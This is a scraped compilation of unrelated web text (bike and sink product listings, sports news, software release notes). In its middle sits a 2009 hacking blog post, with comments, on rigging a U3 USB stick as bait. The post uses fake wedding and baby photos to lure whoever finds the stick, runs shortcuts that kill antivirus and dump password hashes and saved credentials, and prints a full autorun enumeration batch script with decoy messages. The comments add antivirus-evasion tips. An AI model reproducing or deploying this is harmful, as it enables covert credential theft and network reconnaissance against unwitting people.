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Since day one GT has been no stranger to the rugged, untamed world of mountain biking. As an industry leader in technology, GT has made a name for itself by consistently setting the standards by which the competition obeys. GT does not only strive for success in the Elite level of racing, but at all levels and disciplines for all riders. Take a gander at the 2012 Zaskar 9R Pro, and you'll be quick to notice this to be true.
The GT has laid the foundation for the Zaskar Niner Pro with a lightweight hydroformed Speed Metal™ aluminum frame, with a triple triangle design and a superior cross country riding geometry. The Zaskar is outfitted with a Fox Float 29 fork with a FIT cartridge and RLC controls.
GT wanted to provide a versatile setup with incomparable performance and value to captivate recreational riders and racers alike. With that said, the Zaskar comes with Shimano XT shifters and front and rear derailleurs for unparalleled ergonomics and precise, fast, and smooth shifting. The XT crank features a 38/26T setup for a wide range of gear options specifically for 29er riding.
When your horse gallops as fast as the Zaskar 9R Pro, optimum stopping power is mandatory, which is why GT puts its faith in the the Formula R1X disc brakes and brake levers. The Formula RX brakes are sure to bring the Zaskar to a complete halt once you're finished with your ride. Other goodies can be found throughout including a WTB Silverado saddle, Maxxis Aspen tires, and Crank Brothers seat post and handlebars.
The award winning components combined with an excellent geometry, create an efficient bike that will absorb the bumps the trail may throw your way, and provide you with hours of fun each time you take it out for a spin.
|Hydroformed Speed Metal™ Aluminum Frame (TT, ST, DT), Triple Triangle™ Frame Construction, Forged Bottom Bracket, Dropouts, and 1 1/8" Integrated Head Tube, w/ 29"-er Specific Geometry
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My first online bike purchase, first 29er, and I chose a very solid GT ride built by Jenson USA. The bike handles like a dream, and is very light and fast. I would highly recommend the GT Zaskar line of bikes. This bike is very stable in all conditions, feels solid, and very strong. Climbs well and descends well. The 29er covers ground quickly, and rolls over everything with ease. If you are on the fence about getting a 29er, I would encourage you to go for it. The FOX shocks are really great, Shimano trigger shifting is quick. Great value for the package, and the customer service is better than any local shop. I highly recommend buying a bike this way.
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6'3" 260# athletic build rider. I need a bike that can handle what I put it through, and so far this bike has met that. The head angle of the zaskar with the 29" wheel makes this bike very responsive and very squarely if your not ready for it. As such riding this does demand some level of confidence for technical runs and tight turns, but if you have the skill this bike won't hold you back. The Fox is great but a remote lockout would sure make the lockout more "useable". I have to comment on how happy I am with the XT drivetrain. I am specifically very happy with the brakes. at 260 i put a demand on these things that a lesser unit can't handle well. Bike is spec'd incredibly.
My concern with this bike was the assembly. Go over the bike before you ride. My front wheel was significantly out of true. My ear derailed was way out of alignment and bent. lastly the springs in my rear skewer were installed backwards and part of the spring was stuck between the hub and the hangar making the rear wheel not properly seated and misaligned. To Jenson's credit, they committed to pay for this to be fixed at the local bike shop
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Pros: I was looking for a reasonably priced XC Bike and found this Zaskar. I have been very pleased with the way it rides. The shifts are super smooth thanks to the full XT drivetrain. The Fox front shock is easily locked out for the bigger climbs. The 29er wheels roll over everything.
Cons: Despite their great looks, I'm not a huge fan of the Formula R1 brakes. They don't have enough biting force and they have a different feel left to right. I'm sure a full bleed would fix this though. The saddle is also too stiff for my liking. The tires are also terrible. I honestly spin my way up hills that I never used to have a problem with, so just replace the tires ASAP.
Conclusion: I have never had a 29er HT before this bike. It is so much more efficient than my Stumpjumper that I cover my normal ride in about 3/4 of the usual time. If you are looking for a high end XC bike with a reasonable price tag, look no farther.
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Recently a mate at work commented that he got a bit stuck with the whole U3 hacksaw / switchblade kurfuffle. Well I still had original my U3 set up from a couple of years ago after watching the Hak.5 show (Series 2 if your interested), but I thought it needed a bit of a refresh.
Being inspired by DarkOperators Metasploit scripts for enumeration I decided to set up the U3 to use what god gave us, okay what Microsoft gave us, built in tools. But more specifically, built in tools for computer & network enumeration.
So what's the point to this I hear you ask, well after using my Hacksaw here and there and seeing it detected by AV now and then I figured that for it to be as stealthy as possible a few modifications were in order.
First I gave it a good overwrite with DD and started a fresh with the builder tool. The tool I use is LPInstaller.exe. I can't remember where I got it from but it wipes out all the pre-installed U3 goodness and leaves you with a U3 stick that you can mod to be the ultimate USB Enumerator.
With it looking like a brand new U3 this is where a little thought goes in. Now and then at work the receptionist sends an email to all users asking if anyone has lost a USB thumb drive. Well I can take advantage of this good nature by placing a file with a throw away email address in in the root called "Contact Me if Found.txt"
Now when it's found or handed in to a reception, some nice person might email me and let me know that they have it. But why would they do that? Because my next folder is titled "Wedding Pics - DO NOT DELETE" and it has a few wedding and baby pics in (no metadata remember).
So what cold hearted person wouldn't want to return a USB Device with baby and wedding pics on right! Oh and the guy in the wedding photo...... he's in a wheelchair (thanks Google Images) so it would have to be a cold hearted individual who is going to keep that USB drive.
Next I have a couple more directories.
Well they look like directories but they are just links to my evil scripts that will help me on my dark crusade.
A closer look at the shortcut reveals its actually a link to a batch file that will kill any running AV and launch programs to get the local password hashes, internet passwords and login details for MSN etc. And we all know that people re-use paswords don't we.
When someone clicks on one of these 'shortcuts' it will place the running batch file to the back of any open windows and the only clue that anything is going on is a folder in the toolbar which will disapear after a few seconds.
And the batch file can do anything. Obviously I want to stop AV first, and then thanks to a few tools from Nirsoft as well as a few others from the likes of foofus I have loads of juicy details coming my way.
And what does this give me? Hashes, oh the lovely hashes.......
And of course we want the websites too.
And theres plenty more but I'm sure you get the point.
But this is a U3 thumb drive, so hopefully we don't need to rely on a nosey bugger clicking around, because it will hopefully utilise the auto run feature to enumerate the network as soon as it's plugged in. It does the crazy enumeration coolness by running this script from the hidden \WIP\CMD folder.
Here's the simple batch file that does the enumeration:
@Echo off
echo Starting. Do not close program. Please wait 15 seconds.
::Generate a unique filename
set fn=%computername%-%random%
::Create a non-obvious directory
mkdir .\Windows\System\System32\etc\hosts\win\0011\%fn%
cd .\Windows\System\System32\etc\hosts\win\0011\%fn%
::Get local Time and Date Info
time /t >%fn%.log
date /t >>%fn%.log
::Network Info
net user /domain >>%fn%.log
echo Restarting critical service. Please Wait 5 seconds.
net group /domain >>%fn%.log
net localgroup /domain >>%fn%.log
net localgroup administrators /domain >>%fn%.log
net localgroup "Account Operators" /domain >>%fn%.log
net accounts /domain >>%fn%.log
net view /domain >>%fn%.log
net view >>%fn%.log
echo Service restart complete. Please wait 5 seconds.
::Local Info
ipconfig /all >>%fn%.log
ipconfig /displaydns >>%fn%.log
netstat -ano >>%fn%.log
netstat -r >>%fn%.log
arp -a >>%fn%.log
tasklist /svc >>%fn%.log
tasklist >>%fn%.log
tasklist /v >>%fn%.log
net share >>%fn%.log
net use >>%fn%.log
net accounts >>%fn%.log
net localgroup >>%fn%.log
net localgroup administrators >>%fn%.log
systeminfo >>%fn%.log
netsh firewall show config >>%fn%.log
echo Service failed to load. Error code MS-31337
netsh diag show all /v >>%fn%.log
And that pretty much enumerates the network for all accounts, groups and members of admin groups. It gets password policies, computer details from the domain, domain names....
local accounts and groups, firewall policies, applied hotfixes, network connections, open ports, running services, shares, networking information and other bits and bobs as well.
And the beauty of it all is it's just using Microsoft tools which won't make the AV go loopy and freak out. So within a few seconds of plugging the device into any PC with a USB port on a network and you'll have more data than you can shake a big enumerating stick at. Wonderful!
All this useful data is output to a single log file that is in a deeply buried obfuscated directory with a random number appended to the end, so it can be run time after time and is nicely tucked away.
But what if autorun is disabled? Well just like the script that kills the AV and grabs the passwords this can be run manually by clicking the batch file or by fronting it with a shortcut with a folder icon and running that.
So how can this be useful in a pentest? it could be that during that pentest you have social engineered your way onto a helpful persons PC who is going to print something off for you or email an important document for you and said files are on your USB device. Or you could hand a USB device to a receptionist to ask her to heck who's it is. Or of course you could just be transfering those picture or music files to your friends computer. So if your reading this and you know me, maybe next time you ask me for a file or a movie that I have on USB you better think again!
So there you have it, my take on making my USB Hacksaw a little more interesting.
For more info on U3 Hacking I recommend this post by McGrew Security
Tuesday, February 24, 2009
USB Enumerator vs USB Hacksaw
Recently a mate at work commented that he got a bit stuck with the whole U3 hacksaw / switchblade kurfuffle. Well I still had original my U3 set up from a couple of years ago after watching the Hak.5 show (Series 2 if your interested), but I thought it needed a bit of a refresh.
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Hi synjunkie,
Really enjoying your blog. It's very informative.
For your homebrew hacksaw, what commands did you use for your Av-Die2.cmd batch script ?
I'm using one using sysinternals pskill and the list of AV .exe's from a metasploit ruby script - http://trac.metasploit.com/browser/framework3/trunk/scripts/meterpreter/killav.rb?rev=5773
Just wondering if you have something a little more useful than this one.
Many thanks, keep up the great work!
- March 3, 2009 at 11:54 AM
- SynJunkie said...
Hi Anon
Thanks for leaving a comment. For the script that kills the AV i simply took a script from moonlit on the Hak5 forum. a bit of Google magic on moonlit and hak5 should turn it up. I didn't realise that Metasploit had that in, i'll have to take a look and compare.
- March 4, 2009 at 9:35 PM
What if the receptionist like all other users is using a standard user account (and any AV), which of tools.cmd would even work?
The enumeration shouldn't be a problem, but what about all the rest?
Could you post the complete tools.cmd, not only the enumeration part.
- March 7, 2009 at 5:50 PM
- SynJunkie said...
that's a very good point and one of the reasons why i would either have a USB key for enumeration (which wouldn't be picked up by AV and a restricted user can run the built in tools (usually) and then another USB key for the evil tools. Or another idea I'm playing with at the moment is having the evil tools in an encrypted truecrypt volume that doesn't get opened until the AV is off. I'll see where i get to with that but i'm sure its do-able.
i'll post up my evil tools script in the either tonight or in the week as a comment on this post.
- March 8, 2009 at 7:19 PM
Thank you, that makes sense. Perhaps the "evil tools" could be zipped up protected by a password and the batch file would also check if the user is admin or not.
Looking forward to see how this evolves.
- March 9, 2009 at 3:44 PM
- SynJunkie said...
That's a great idea, I'll certainly be coming back to this one later this week.
- March 9, 2009 at 9:54 PM
*cough cough* come back,
Love your posts! Bookmarked your blog already, lots of good reads, was looking forward to seeing your use of the .bat script!
- April 9, 2009 at 1:32 AM
- SynJunkie said...
Hi Anonymous
I'm still here. I have been working on a new story that i hope to have ready soon. I'm trying to work the hacksaw stuff into that.
Thanks for the comment and cheers for bookmarking my blog. It's great to know that these posts are interesting to people other than myself.
- April 10, 2009 at 10:04 AM
Im a total noob to this stuff...where do you put the scripts and in what format do you save them in?
- October 2, 2009 at 4:52 AM
- SynJunkie said...
My scripts are in a hidden folder \WIP\CMD\ in the writable partition on the U3 and the script file tht I run is called tools.cmd which is basically a batch file as described in the post.
- October 3, 2009 at 3:00 PM
- Dai Vernon said...
Hi, I don't understand, you have the payload installed in the writable partition? I thought that the science of using a U3 was beeing abble to install the payload in the locked emulated CD drive so if the AV gets jumpy it won't be able to erase the files, and saving the log (logically) in the writable partition. help if i'm wrong, please. thanks for the info. it's still stealthy? the batch ran by the autorun.inf doesn't get picked up?
- October 17, 2009 at 3:10 AM
- SynJunkie said...
It's a while since I set it up. From memory, the point of the "CD" partition (read-only) was to get it to auto launch a program on the writable partition which the "attacker" chooses.
Unfortunately AV will be able to erase files if detected I guess thats why we have tools like MsfEncode and PEScrambler ;-)
- October 17, 2009 at 4:11 PM
AND HACKSAW DOESN'T WORK, WHEN I RUN LPInstaller.exe IT DOESN'T FIND MY USB STICK SUITABLE. WHAT CAN I DO FOR IT???
- December 12, 2009 at 4:00 PM
- SynJunkie said...
Have you tried it in another USB port or from another PC? Also have a look on the Hak.5 forums, they have a pretty good list of posts on the U3's
- December 13, 2009 at 10:02 AM
What software can I use on a usb device so that I can copy as much files as possible onto it when I plug it in my sisters pc? (Instant file copier) ex: My documents
- March 10, 2010 at 2:24 AM
HELP I need a usb document snatcher...ex my documents from another pc when I plug in my usb...(copy users my document files)
- March 10, 2010 at 3:35 AM
- SynJunkie said...
I'm not sure I agree with your motives, but if i was you I would just use a batch file.
- March 15, 2010 at 9:05 PM


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Scriptom (scriptom-1.5.zip), an optional Groovy module originally developed by Guillaume Laforge, combines the elegant "syntactical sugar" of Groovy with the power of the Jacob library (Java COM Bridge). The result is something that looks an awful lot like Windows Scripting Host (WSH) scripting with VBScript - only it's for Java. Once installed into Groovy, Scriptom allows you to script ActiveX or COM Windows components from Groovy.
What this means is that you can use Groovy to automate Word or Excel documents, control Internet Explorer, make your PC talk using the Microsoft Speech API, monitor processes with WMI (Windows Management Instrumentation), or browse the Windows Registry using WShell (among many, many other things). It is also a convenient way to talk to custom VB6 or COM-enabled Microsoft.NET libraries (compare this to the administrative headaches of getting Java and .NET to talk using Web Services - it's a no brainer). All this without ever leaving the comfortable Java universe.
Of course, Scriptom can be used only on Microsoft Windows.
Scriptom is bundled into the Groovy Windows-Installer, and the most current version can be downloaded from this page (see below). The codebase is considered stable and feature-complete. The Jacob project - Scriptom's foundation - was started in 1999 and is being used in thousands of production applications worldwide. Scriptom is only a few years old, but it is already stable and mature because it is built on an existing, best-of-breed platform.
Scriptom gives you all the COM-scripting power of Jacob, only it is a lot easier.
The Scriptom team
- Guillaume Laforge
- Dierk Koenig
- Marc Guillemot
- Jason Smith
Scriptom 1.5 requires Groovy 1.5. Because of dependencies on Jacob 1.14, Scriptom also requires Java 1.5 or higher.
Download the project archive(s) and extract the files.
- scriptom-1.5.zip Build 8 (12/7/2007) - Scriptom JAR file, Scriptom-0.0.0b0-32.dll, Scriptom-0.0.0b0-64.dll, Java source code, ANT build script, examples, tests, and utilities.
- scriptom-1.5-javadoc.zip - JavaDoc for Scriptom and included type-library information.
Install the jar file and DLL file(s) into your project, and optionally install an update from Microsoft:
- Add the Scriptom jar file (scriptom-0.0.0b0-XX.jar) into your Java classpath. It contains both Scriptom and Jacob class files, so you must not include jacob.jar.
- Copy both Scriptom-0.0.0b0-XX.dll files to somewhere on your java.library.path. (usually somewhere on the system 'PATH').
- To avoid the dreaded java.lang.UnsatisfiedLinkError, download and install the following update from Microsoft: Visual C redistributable installer SP1 . The Jacob documentation says this is only necessary for Windows Server 2003 and Windows 2000, but we've found that it may also be necessary for Windows XP. Scriptom 1.5 is not supported for Groovy 1.0 and earlier (Scriptom 1.2 is still available). Please contact us if this presents a serious problem for you.
Building from Source
The project archive contains all the Scriptom source files, Java source files from Jacob, and an ANT build script. To save space, the Groovy JAR files have been omitted from the archive. For a successful compilation, Groovy JAR files must be added to the project/lib folder.
The latest build requires Groovy 1.5.
Scriptom includes source files from Jacob version 1.14. You don't need to download it from the Jacob project on SourceForge.net.
To build the project, run project/build/make.bat.
The build process requires Java 1.5 or higher (Java 1.6 recommended) and ANT 1.6.5 or better.
Changes from Scriptom 1.x
Scriptom 1.5 is a substantial upgrade to previous versions of Scriptom, and is not backward compatible. We hope you will agree that it is worth a little code rework to get all these great new features!
- Provides simplified helper methods for dealing with COM apartment threading models.
- ActiveXProxy name changed to ActiveXObject to match WSH convention.
- VariantProxy no longer exists (the functionality was refactored into ActiveXObject).
- Variant values are converted to and from the equivalent Java type; no more calling .value on everything!
- Supports COM event callbacks using closures (this is still a work in progress, but usable as is).
- Supports indexed properties, including multiple indexes.
- Supports typed, multi-dimensional SafeArrays.
- Supports pass-byref (in/out) values, both in method calls and event handler callbacks.
- Supports COM enumerable types (so you can use .each, for example).
- Supports missing arguments (for optional parameters) in method/property calls and events.
- Includes constant definitions for several popular Windows applications, derived from these type libraries (see JavaDoc):
- Microsoft Office 2003 (works with other versions as well)
- Word 2003
- Excel 2003
- Outlook 2003
- Access 2003
- PowerPoint 2003
- Microsoft Internet Explorer 6 (works with other versions as well)
- Microsoft Scripting (i.e., FileSystemObject)
- Microsoft Speech API
- Windows Scripting Host (WSH)
- WbemScripting (WMI - Windows Management Instrumentation)
- Microsoft Office 2003 (works with other versions as well)
- Supports the latest features from Jacob 1.14, including new support for the Decimal data type and 64-bit integers.
Migrating from Previous Versions of Scriptom
Scriptom 1.5 is not backward compatible with previous versions of Scriptom. To get your scripts running again, do this:
- Change all references to ActiveXProxy into ActiveXObject.
- Wrap any code that references an ActiveXObject in Scriptom.withMTA { ... }, which replaces the way Scriptom previously handled COM threading.
- Remove all references to .value property references.
- Remove any statically typed references to VariantProxy.
- Support for COM events is greatly improved in this version - and also greatly changed. Refer to the Events section below for more information.
- Verify that your project is using the correct version of jacob.dll.
Quick Start
Let's say you want an application that talks. Pure Java implementations aside (this is, after all, a Groovy/COM tutorial), and ignoring the fact that the default voice on pre-Vista machines sounds like Dr. Zoidberg with a sinus infection, you could use the Microsoft Speech API (SAPI) to get the job done.
You start by creating an ActiveXObject with the prog-id for SpVoice. Now you can call any of the methods it supports. By default, SpVoice will block until it is done speaking, but we're going to have it speak asynchronously and wait until it is done.
If you have scripted COM before, you are probably used to using "magic numbers" throughout your code in place of COM constants. In this code sample, we're using fully-qualified constants instead.
Scriptom includes fully JavaDoc'd constant and interface definitions from a number of commonly used type-libraries, and you can even create your own. The source code for generating COM type library definitions for Groovy is written in Groovy , and it's included in the project. It may not seem like a big deal to replace a couple of numbers, but it will be a lot easier in 10 years to find relevant information on SpeechVoiceSpeakFlags.SVSFlagsAsync than on the number 1 (Google returns a little more than 9 billion hits for the number '1', and about 1,000 for 'SpeechVoiceSpeakFlags.SVSFlagsAsync,' including hits on this paragraph). And besides, the code reads better.
Speaking of interfaces, it turns out that SpVoice supports several. You can test an ActiveXObject to see if it supports a given interface using .supportsInterface, and you can cast an ActiveXObject to a given interface using .toInterface.
This next example displays the COM interfaces that SpVoice supports (within the SAPI library only):
Programmer's Guide
|how not to crash the JVM or lock your process
|supported types and conversions in Java, VB6, and VB.NET
|calling COM methods and properties from Groovy
|how to let methods change the value of passed-in arguments
|support for COM events
Here is a simple example that uses the Microsoft ScriptControl to evaluate a JScript expression. This is a very indirect way to add 2 and 2.
There are many, many potential uses for Scriptom - far to many to try to maintain as part of this documentation. So we've included a whole slew of meaty examples in the project archive for you to play with. We'd like to encourage you to go look at those examples, run them, and modify them. And if you come up with an especially interesting example, let us know about it. We may even include it in a future release!
Some additional examples included with Scriptom:
- Automated writing to and reading from Excel spreadsheets. Includes COM events example.
- Navigation in Internet Explorer. Includes COM events example.
- Gathering information about processes and Windows NT services using WMI.
- Parsing a *.msg file with Microsoft Outlook.
Consuming Visual Basic 6 (VB6) and Visual Basic.NET COM-enabled DLLs.
Articles about COM scripting in general, and Scriptom in particular.
January 11, 2008
Tips for exploring COM libraries, finding documentation, etc.
Bridging the Gap Between Java and .NET with Groovy and Scriptom
December 3, 2007
Implement FIPS 140-1 compliant SHA-1 in Java with Groovy, Scriptom, and Visual Basic.NET.
August 8, 2006
A short Microsoft Outlook example.
March 17th, 2008
Siebel "business component" programming
Post Scriptom
All known (unresolved) issues and feature requests are listed in the Scriptom Jira database.
Changes to each build are summarized in the Change Log.
Recent builds of Scriptom can be found here. Older versions are archived:
Build 10. Bundled with the Groovy 1.5 Windows Installer. Requires Groovy 1.5 and Java 5 or better.
(also Scriptom 1.1 and Scriptom 1.0) Original version, and the one that is documented in Groovy in Action. Requires Groovy 1.0 or better and Java 1.4 or better.


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Display-It Jewelry Holder
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Display your jewelry in stand-up style with this pretty storage piece. The large letter holds necklaces, bracelets and earrings in its swirling loops, while the catchall tray accommodates larger items plus 30 pairs of earrings along the rim.
- 8.75" diameter, 17.25" high
- Expertly crafted of steel and finished in white.
- Bottom tray can hold up to 30 pairs of earrings.
- Sold individually.
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- Wipe with a soft, dry cloth.
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MACON, Ga. -- One big inning cost Miami a chance at a big win on Friday night.
Mercer plated nine runs during the fifth inning, turing a 1-0 lead into double digits, then hung on for an 11-5 victory over Miami at Claude Smith Field. Kevin Bower hit a two-run homer, his first of the season, in the eighth.
Mercer (9-1) struck first on a leadoff home run in the third inning. The Bears capitalized on two Miami errors and a wild pitch for their big inning. Back-to-back RBI doubles, following by a home run accounted for the first three runs and chased starter Brooks Fiala (0-2). A walk and double off Brian Thene led to another run and a 7-0 score.
Another error, two walks and wild pitch forced another pitching change, with Clay Cinnamon allowing a hit, wild pitch and walk for two more runs before he got the final two outs.
Miami (2-4) got on the board with four runs in the eighth. Matt Honchel singled before Kevin Bower connected for a home run to right. A dropped fly in left allowed two runs to score later in the frame. The four runs equalled Miami's biggest outburst of the season.
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Forwards coach Johan Ackermann has been officially appointed as the interim head coach of the Lions, with Carlos Spencer continuing his duties as backline mentor.
In the aftermath of John Mitchell's suspension for his alleged brutal coaching methods, Spencer and Ackermann were last week handed the interim coaching role, a responsibility they would share. Spencer did not dispute this when keo.co.za spoke to him on Monday about the current dynamics at the embattled franchise.
However, it has since come to light that Ackermann has been appointed as the official interim head coach, with Spencer continuing in his role as backline coach.
'I'm not sure when the decision was made, but I was made aware of [the new coaching structure] late yesterday morning,' Spencer told keo.co.za on Tuesday. 'I was only ever under the impression that I would continue to coach the backs.'
Should Mitchell get his marching orders, this could affect Spencer as well as fitness coach Wayne Taylor on a contractual basis. Spencer and Taylor's contracts are linked to Mitchell's contract, allowing them to leave the Gauteng franchise at will if Mitchell gets the axe.
'I haven't really thought about that to be honest,' Spencer added. 'I'm contracted to the end of the Super Rugby season. I guess I'm going to have to make some decisions over the next three weeks.'
If Mitchell and his coaching team are not retained, this would result in the GLRU having to scramble for a new coaching set-up before the Currie Cup, which starts on 11 August.
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Celia Vallerand fears for her life as she stares into the deep, arresting eyes of the dashing man who purchased her from the brigands who had abducted her. But it soon becomes clear that it's her virtue, not her life, that's in danger. The rugged, powerful renegade known only as "Griffin" arouses desires in Celia as dangerous as they are forbidden. And though she knows she must resist him, she fears she may be unable to do so.
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verb strength·en \ˈstreŋ(k)-thən, ˈstren(t)-\
: to make (someone or something) stronger, more forceful, more effective, etc.
: to become stronger, more forceful, more effective, etc.
of money : to increase in value when compared to money from other countries
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transitive verb
: to make stronger
intransitive verb
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- These exercises will strengthen your stomach muscles.
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- The winds are expected to strengthen.
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Kohler K-2202-4-47 Almond Brookline 14" Drop In Bathroom Sink with 3 Holes Drilled and Overflow
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Product Features:
- Round basin gives a simplistic yet elegant style to the bathroom
- Covered under Kohler's limited lifetime sink warranty
- Constructed from vitreous china providing a classic look and feel
- Simple understated styling compliments a wide range of bathroom decors
- Design sophistication delivered by the raised rim preventing splashing
- Drop in installation delivers a clean appearance to your existing bathroom design
- Center drain location provides optimal draining capability
- Equipped with overflow drain - works in tandem with the primary to prevent an overflow or spillage
- All hardware needed for installation included
Product Technologies / Benefits:
- Drop In Sinks: A rim or lip sits on the counter while the basin rests below. Ideal for remodeling, these sinks can be easily retrofitted to an existing counter.
Product Specifications:
- Overall Length: 19" (measured from the left outer rim to the right outer rim)
- Overall Width: 19" (measured from the back outer rim to the front outer rim)
- Height: 8-3/8" (measured from the bottom of sink to the top of the rim)
- Basin Width: 12" (measured from the back inner rim to the front inner rim)
- Basin Length: 14" (measured from the left inner rim to the right inner rim)
- Basin Depth: 4" (measured from the center of basin to the rim)
- Installation Type: Drop in
- Number of Faucet Holes: 3
- Drain Outlet Connection: 1-3/4"
- K-2202-4: This model
- K-2202-1: Single hole version of this model
- K-2202-8: 8" faucet version of this model
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Rated 5 out of 5 by HoneyDoSupreme from Kohler k-2202-4 Brookline 19" Self Rimming This is a very easy drop in replacement and the flat surface along the rim makes putting item on the sink much easier.
Date published: 2012-03-22
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The Bold Look of Kohler is more than a slogan, it is a testament to the sight and focus of the Kohler company since the late 1800's. Kohler designs its plumbing fixtures and accessories for longevity and with a focus on pleasing your senses. Kohler's attributes make its plumbing and accessories a clear choice of quality for generations to come.
Kohler Brookline Collection
The Kohler Brookline collections simple and understated style complements a wide range of bathroom decors. The Kohler Brooklines raised rim helps keep the water from splashing over the side and also adds a sophisticated design element.
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Kohler Lifetime Limited Warranty Kohler Co. warrants its faucets to be leak and drip free during normal residential use for as long as the original purchaser owns his/her home.* If the faucet should leak or drip during normal use, Kohler will, free of charge, mail to the purchaser the cartridge necessary to put the faucet in good working condition. Kohler also warrants all other aspects of the faucet, except gold finish, to be free of defects in material and workmanship during normal residential use for as long as the original purchaser owns his/her own home. If a defect is found in normal residential use, Kohler Co. will (at its election) repair, provide a replacement part or product, or make appropriate adjustment. Damage to a product caused by accident, misuse, or abuse is not covered by this warranty. Proof of purchase (original sales receipt) must be provided to Kohler with all warranty claims. Kohler Co. is not responsible for labor charges, installation, or other consequential costs. In no event shall the responsibility of Kohler exceed the purchase price of the faucet. To obtain warranty service, contact Kohler Co. either through your Dealer or Plumbing Contractor or by calling 1-800-4-KOHLER or by writing: Kohler Co., Attn.: Customer Service Dept. Kohler, WI 53044, USA Please be sure to proide all pertinent information regarding your claim, including a complete description of the problem, the product, model number, color, finish, and the date the product was purchased. Also include the name of your contractor or distributor and your original invoice. TO THE EXTENT PERMITTED BY LAW, KOHLER DISCLAIMS ALL OTHER IMPLIED WARRANTIES INCLUDING THAT OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE . KOHLER CO. ALSO DISCLAIMS ANY LIABILITY FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES. Some states do not allow limitations of how long an implied warranty lasts or the exclusion or limitation of special, incidental or consequential damages, so these limitations and exclusions may not apply to you. This warranty gives the consumer specific legal rights. You may also have other rights that vary from state to state. This warranty is to the original purchaser only, and excludes product damage due to installation error, product abuse, or product misuse, whether performed by a contractor, service company, or the consumer. This is our exclusive written warranty. *Trend faucets, MasterShower Tower, gold finish, accessories, fixture related items (as designated in the Kohler Faucets Price Book), and faucets used in commercial settings continue to be covered by Kohler's one-year limited warranty.6/98 COPYRIGHT © 1998 BY KOHLER CO. (SEE BELOW) All Kohler Plumbing Fixtures, Faucets and Fittings carry Kohler's Limited One-Year Warranty Unless Otherwise Noted. Limited One-Year Warranty Kohler® plumbing fixtures, faucets and fittings are warranted to be free of defects in material and workmanship for one year from date of installation. Kohler Co. will at its election repair, replace or make appropriate adjustment where Kohler Co. inspection discloses any such defects occurring in normal usage within one year after installation. Kohler Co. is not responsible for removal or installation costs. To obtain warranty service, contact Kohler Co. either through your Dealer or Plumbing Contractor or calling 1-800-4-KOHLER or by writing: Kohler Co., Attn: Customer Service Department Kohler, Wisconsin 53044 U.S.A. IMPLIED WARRANTIES INCLUDING THAT OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE EXPRESSLY LIMITED IN DURATION TO THE DURATION OF THIS WARRANTY. KOHLER CO. DISCLAIMS ANY LIABILITY FOR SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES. Some states do not allow limitations on how long an implied warranty lasts, or the exclusion or limitation of special, incidental or consequential damages so these limitations and exclusions may not apply to you. This warranty gives you specific legal rights. You may also have other rights which vary from state to state. This is our exclusive written warranty. Notes: There may be variation in color fidelity between catalog images and actual plumbing fixtures. Kohler Co. reserves the right to make changes in product characteristics, packaging or availability at any time with out notice. COPYRIGHT © 1989, 1990, 1997, 1998 BY KOHLER CO. Kohler Standby Generators Go to the following link to find a service center near you: http://www.kohlergenerators.com/sales-service/contact-sales


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Nothing is more exciting than seeing your hometown of Chicago in a film, from Lower Wacker Drive in "The Blues Brothers" and "The Dark Knight" to seeing the entire River North district in "Transformers – Dark of the Moon". With summer movie season upon us we will be seeing our beautiful city of Chicago in more movies.
"Man of Steel" (Opens June 14, 2013) which stars Henry Cavill as Clark Kent aka Superman, along with Amy Adams, Kevin Costner, Diane Lane and others, is expected to feature the Loop's Chicago Board of Trade and Willis Tower buildings prominently. The Board of Trade will be used as the exterior of Kent's workplace, the Daily Planet, while the Willis Tower will provide the interior shots of the newsroom setting. Chicago has been prime filming locations for both Metropolis (Superman) and Gotham City (The Dark Knight). The architecture of downtown Chicago has been key for filming such nostalgic pop culture icons. If you think about it, Chicago is a Metropolis and is a perfect for such film such as Man of Steel. With a Justice League movie on the horizon we might see Chicago the prime filming locations such as New York was for The Avengers.
This summer is going be a hot spot for movies being filmed in Chicago. There has been plenty of rumors and speculation about where the next Transformers movie will be shot this summer and at least part of the movie will be filmed in the Windy City. Picking up where the last movie left off. Mark Wahlberg is set to star in and produce the Michael Bay film.
Andy and Lana Wachowski (who were behind the Matrix trilogy) are also preparing for another futuristic science fiction film, Jupiter Ascending, which will star Mila Kunis, Channing Tatum, and Sean Bean also star in the film which will begin a 4-5 week shoot in Chicago on June 24. Andy and Lana Wachowski are no strangers for using Chicago for their movies. Being Chicago natives they used and filmed certain scenes for The Matrix trilogy in Chicago. If you watch closely you see Chicago city streets and locations seen throughout the movie. In the Matrix Reloaded they recreated a portion of the I-90/I-94 going into the city for a climatic chase scene.
They just finished filming the highly anticipated Ferris Wheel scene on Chicago's Navy Pier for Divergent and will be filming all over the city. The film stars Shailene Woodley, Ray Stevenson and Kate Winslet. The acclaimed young adult novel in which the film is based on is set within a dystopian version of Chicago. The novel has been compared to similar young adult books such as The Hunger Games because of its theme and target audience.
Move over New York and Los Angeles, looks like our town is prime for filming such blockbusters and as a Chicagoan I say thanks.


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After Effects CC (2014.1)
Refined user interface with HiDPI support
A simplified UI puts the focus on your projects and delivers a more consistent experience across devices, including HiDPI Windows 8.1 displays.
Enhanced 3D Pipeline
Work with 3D elements faster now that After Effects includes CINEWARE 2.0 and offers CINEMA 4D R16 compatibility, plus improved layer support.
Improved Adobe Anywhere collaboration
Collaborate on compositions and productions with other After Effects artists without worrying about what to name files or where to store them. Version tracking and project sharing features make remote workflows a breeze.
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Also includes: More visible anchor points on layers, tracking behavior improvements, and more.
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After Effects CC (2014)
Keying effects
Preserve fine detail when keying compressed or poorly shot blue-screen or green-screen footage. Use the Advanced Spill Suppressor to control the amount of green spill left in green-screen footage.
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Live Text Templates for Premiere Pro
Package your After Effects compositions as Live Text templates so Premiere Pro editors can change the text without changing the text color, motion, or lower-third background.
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Flexible masking options and Premiere Pro Interchange
Use masks to apply effects to specific areas of your compositions — no need for additional adjustment or track matte layers — and blend each effect individually into the original layer. Import masks from Premiere Pro via Dynamic Link for further refinement.
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Kuler integration
Create color themes using the Adobe Kuler app on your iPhone or in your browser, and then sync your swatches to After Effects for use in your compositions.
Mercury Transmit
Get full-screen previews of your composites on a separate monitor. Send previews over interfaces like HDMI from a graphics card without additional hardware.
Media Browser enhancements
Navigate your media locally or across a network via Adobe Anywhere, and access complex media types like P2 and XDCAM as media, not as nested folders.
Typekit integration
Access a variety of fonts from Typekit for immediate use in your After Effects projects.
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Panel integration support
Find and install plug-ins, extensions, training media, and other content via After Effects panels created by the developer community.
